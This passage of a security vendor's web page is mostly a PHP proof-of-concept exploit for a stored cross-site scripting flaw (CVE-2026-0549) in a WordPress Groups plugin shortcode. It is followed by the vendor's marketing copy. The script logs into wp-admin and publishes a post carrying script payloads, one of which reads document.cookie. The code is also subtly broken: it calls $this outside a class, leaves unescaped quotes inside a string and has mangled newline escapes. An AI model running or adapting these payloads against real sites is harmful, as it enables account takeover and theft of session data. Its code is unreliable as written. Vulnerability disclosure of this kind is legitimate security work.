    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Step 2: Create a new post with malicious shortcode
$create_post_url = $target_url . '/wp-admin/post-new.php';

// XSS payload in the 'show' attribute of groups_group_info shortcode
$malicious_shortcode = '[groups_group_info group_id="1" show="<script>alert('XSS via CVE-2026-0549')</script>"]';

// Alternative payload using other vulnerable attributes
// $malicious_shortcode = '[groups_group_info field="<img src=x onerror=alert(document.cookie)>" group_id="1"]';

$post_data = array(
    'post_title' => 'Test Post with XSS',
    'content' => $malicious_shortcode . 'nnThis post contains a malicious Groups shortcode.',
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $this->extract_nonce($response), // Need to extract nonce from response
    '_wp_http_referer' => '/wp-admin/post-new.php'
);

// Note: In a real exploit, you would need to extract the nonce from the post creation page
// This PoC shows the attack vector but requires proper nonce handling

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

$response = curl_exec($ch);

// Step 3: Verify the post was created and contains the malicious shortcode
if (strpos($response, 'groups_group_info') !== false) {
    echo "[+] Post created successfully with malicious shortcoden";
    echo "[+] Visit the post to trigger XSS executionn";
} else {
    echo "[-] Post creation may have failedn";
}

curl_close($ch);

// Helper function to extract nonce (simplified)
function extract_nonce($html) {
    // This is a simplified example - real implementation would parse the HTML
    // to find the nonce value from meta tags or form fields
    preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $html, $matches);
    return isset($matches[1]) ? $matches[1] : '';
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School